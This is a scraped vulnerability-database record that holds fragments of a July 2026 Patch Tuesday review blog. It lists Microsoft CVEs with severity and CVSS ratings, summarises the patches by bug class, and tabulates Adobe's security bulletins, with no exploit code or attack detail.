Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:10.202509Z"}, {"uuid": "86259cb5-55bd-4b9e-b92b-68a81ade1ae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48580", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. 